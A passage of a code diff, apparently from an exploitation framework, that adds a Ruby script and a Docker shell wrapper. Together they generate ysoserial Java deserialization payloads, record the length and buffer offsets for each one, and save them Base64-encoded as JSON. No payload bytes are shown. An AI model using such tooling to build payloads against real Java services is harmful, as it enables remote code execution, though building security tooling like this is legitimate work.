# Compare this byte and the following byte to identify length and buffer offsets
|
||||
length_offsets.push(current_byte.position) if isLengthOffset?(current_byte,next_byte)
|
||||
buffer_offsets.push(current_byte.position) if isBufferOffset?(current_byte,next_byte)
|
||||
end
|
||||
end
|
||||
|
||||
if debug
|
||||
for length_offset in length_offsets
|
||||
STDERR.puts " LENGTH OFFSET #{length_offset} = 0x#{empty_payload[length_offset-1].ord.to_s(16)} #{empty_payload[length_offset].ord.to_s(16)}"
|
||||
end
|
||||
|
||||
for buffer_offset in buffer_offsets
|
||||
STDERR.puts " BUFFER OFFSET #{buffer_offset}"
|
||||
end
|
||||
STDERR.puts " PAYLOAD LENGTH: #{empty_payload.length}"
|
||||
end
|
||||
|
||||
payloadBytes = Base64.strict_encode64(empty_payload).gsub(/\n/,"")
|
||||
if buffer_offsets.length > 0
|
||||
results[payload] = {
|
||||
'status': 'dynamic',
|
||||
'lengthOffset': length_offsets.uniq,
|
||||
'bufferOffset': buffer_offsets.uniq,
|
||||
'bytes': payloadBytes
|
||||
}
|
||||
else
|
||||
#TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this.
|
||||
results[payload] = {
|
||||
'status': 'static',
|
||||
'bytes': payloadBytes
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
payloadCount = {}
|
||||
payloadCount['skipped'] = 0
|
||||
payloadCount['static'] = 0
|
||||
payloadCount['dynamic'] = 0
|
||||
|
||||
results.each do |k,v|
|
||||
if v[:status] == 'unsupported'
|
||||
payloadCount['skipped'] += 1
|
||||
elsif v[:status] == 'static'
|
||||
payloadCount['static'] += 1
|
||||
elsif v[:status] == 'dynamic'
|
||||
payloadCount['dynamic'] += 1
|
||||
end
|
||||
end
|
||||
|
||||
unless debug
|
||||
puts JSON.generate(results)
|
||||
end
|
||||
|
||||
STDERR.puts "DONE! Successfully generated #{payloadCount['static']} static payloads and #{payloadCount['dynamic']} dynamic payloads. Skipped #{payloadCount['skipped']} unsupported payloads."
|
|
@ -0,0 +1,5 @@
|
|||
#!/bin/sh
|
||||
|
||||
docker build -t ysoserial-payloads . && \
|
||||
docker run -i ysoserial-payloads > ysoserial_payloads.json && \
|
||||
mv ysoserial_payloads.json ../../../data
|
Loading…
Reference in New Issue